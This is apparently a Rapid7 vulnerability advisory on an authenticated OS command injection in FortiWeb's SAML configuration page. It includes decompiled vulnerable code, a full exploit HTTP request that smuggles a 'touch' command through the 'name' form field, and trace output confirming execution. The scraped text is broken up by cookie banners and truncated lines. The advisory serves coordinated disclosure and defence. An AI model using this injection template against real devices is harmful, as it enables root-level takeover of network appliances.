RAPID7 PLATFORM PRODUCTS SERVICES RESOURCES COMPANY PARTNERS EN SIGN IN

Blog Vulnerability Management MDR Detection & Response Cloud Security App Security Metasploit All Topics START TRIAL

Fortinet FortiWeb OS Command Injection

Aug 17, 2021 | 5 min read | Tod Beardsley

Last updated at Wed, 27 Dec 2023 14:59:55 GMT

An OS command injection vulnerability in FortiWeb's management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page. This is an instance of CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') and has a CVSSv3 base score of 8.7. This vulnerability appears to be related to CVE-2021-22123, which was addressed in FG-IR-20-120.

Product Description

Fortinet FortiWeb is a web application firewall (WAF), designed to catch both known and unknown exploits targeting the protected web applications before they have a chance to execute. More about FortiWeb can be found at the vendor's website.

Credit

This issue was discovered by researcher William Vu of Rapid7. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.

Exploitation

An attacker, who is first authenticated to the

Topics

Metasploit (654)
Vulnerability Management (359)
Research (236)
Detection and Response (205)
Vulnerability Disclosure (148)
Emergent Threat Response (141)
Cloud Security (136)
Security Operations (20)

Popular Tags

Search Tags

Metasploit
Metasploit Weekly Wrapup
Vulnerability Management
Research
Logentries
Detection and Response

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our Privacy Statement

Accept Cookies

Decline Cookies

Cookies Settings

✕

below:

```
int move_metafile(char *path,char *name)
{
int iVar1;
char buf [512];
int nret;
snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibbole
iVar1 = access(buf,0);
if (iVar1 != 0) {
snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/sh
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/
"Metadata",&DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
```

The HTTP POST request and response below demonstrates an example exploit of this vulnerability:

```
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: [redacted]
Cookie: [redacted]
User-Agent: [redacted]
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/root/user/remote-user/s
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=-------
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`
-----------------------------94351131111899571381631
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631
```

2024-47575 Exploited in Zero-Day Attacks READ MORE

Patch Tuesday - October 2024 READ MORE

Modernizing Your VM Program with Rapid7 Exposure Command: A Path to Effective Continuous Threat Exposure Management READ MORE

Multiple Vulnerabilities in Common Unix Printing System (CUPS) READ MORE

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

```
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------9435113111189957138163
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------9435113111189957138163
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------9435113111189957138163
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------9435113111189957138163
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------9435113111189957138163
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------9435113111189957138163
Content-Disposition: form-data; name="flag"
0
-----------------------------9435113111189957138163
Content-Disposition: form-data; name="enforce-signi
disable
-----------------------------9435113111189957138163
Content-Disposition: form-data; name="enforce-signi
0
-----------------------------9435113111189957138163
Content-Disposition: form-data; name="metafile"; fi
Content-Type: text/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:S
<md:IDPSSODescriptor WantAuthnRequestsSigned="false
<md:KeyDescriptor use="signing">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xml
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:KeyDescriptor use="encryption">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xml
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid
<md:SingleSignOnService Binding="urn:oasis:names:tc
</md:IDPSSODescriptor>
</md:EntityDescriptor>
-----------------------------9435113111189957138163
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jun 2021 11:59:45 GMT
```

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

```
Connection: close
Content-Type: application/json
{"errcode": "-651"}
```

Note the smuggled 'touch' command is concatenated in the mkdir shell command:

```
[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/m
[pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /
[pid 13935] execve("/bin/touch", ["touch", "/tmp/vu
[pid 13936] execve("/bin/mkdir", ["mkdir", "/data/e
```

Finally, the results of the 'touch' command can be seen on the local command line of the FortiWeb device:

```
/# ls -l /tmp/vulnerable
-rw-r--r--     1 root     0                 0 Jun 10
/#
```

Impact

An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges. They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ. Note, though, Rapid7 researchers were only able to identify less than three hundred total of these devices that appear to be exposing their management interfaces to the general internet.

Note that while authentication is a prerequisite for this exploit, this vulnerability could be combined with another authentication bypass issue, such as CVE-2020-29015.

Remediation

In the absence of a patch, users are advised to disable

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

connection.

Disclosure Timeline

- June, 2021: Issue discovered and validated by William Vu of Rapid7
- Thu, Jun 10, 2021: Initial disclosure to the vendor via their PSIRT Contact Form
- Fri, Jun 11, 2021: Acknowledged by the vendor (ticket 132097)
- Wed, Aug 11, 2021: Follow up with the vendor
- Tue, Aug 17, 2021: Public disclosure via this post
- Tue, Aug 17, 2021: Vendor indicated that Fortiweb 6.4.1 is expected to include a fix, and will be released at the end of August

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

SUBSCRIBE

POST TAGS

Cybersecurity

Vulnerability Management

Vulnerability Disclosure

SHARING IS CARING

AUTHOR

Tod Beardsley

Director of Research at Rapid7, contributing author of several Rapid7 research papers, CVE Board member, and Metasploit collaborator. https://infosec.exchange/@todb

VIEW TOD'S POSTS

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our Privacy Statement

Related Posts

EMERGENT THREA...

Fortinet FortiManager CVE-2024-47575 Exploited in Zero-Day

READ FULL POST

VULNERABILITY M...

Patch Tuesday - October 2024

READ FULL POST

VULNERABILITY M...

Modernizing Your VM Program with Rapid7 Exposure Command:

READ FULL POST

EMERGENT THREA...

Multiple Vulnerabilities in Common Unix Printing System

READ FULL POST

VIEW ALL POSTS

Search all the things

BACK TO TOP

CUSTOMER SUPPORT

+1-866-390-8113 (Toll Free)

SALES SUPPORT

+1-866-772-7437 (Toll Free)

Need to report an Escalation or a Breach?

GET HELP

SOLUTIONS

The Command Platform

Exposure Command

Managed Threat Complete

SUPPORT & RESOURCES

Product Support

Resource Library

Our Customers

Events & Webcasts

Training & Certification

Cybersecurity Fundamentals

Vulnerability & Exploit Database

ABOUT US

Company

Diversity, Equity, and Inclusion

Leadership

News & Press Releases

Public Policy

Open Source

Investors

CONNECT WITH US

Contact

Blog

Support Login

Careers

© Rapid7 Legal Terms Privacy Policy Export Notice Trust
Do Not Sell or Share My Personal Information Cookie Preferences

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**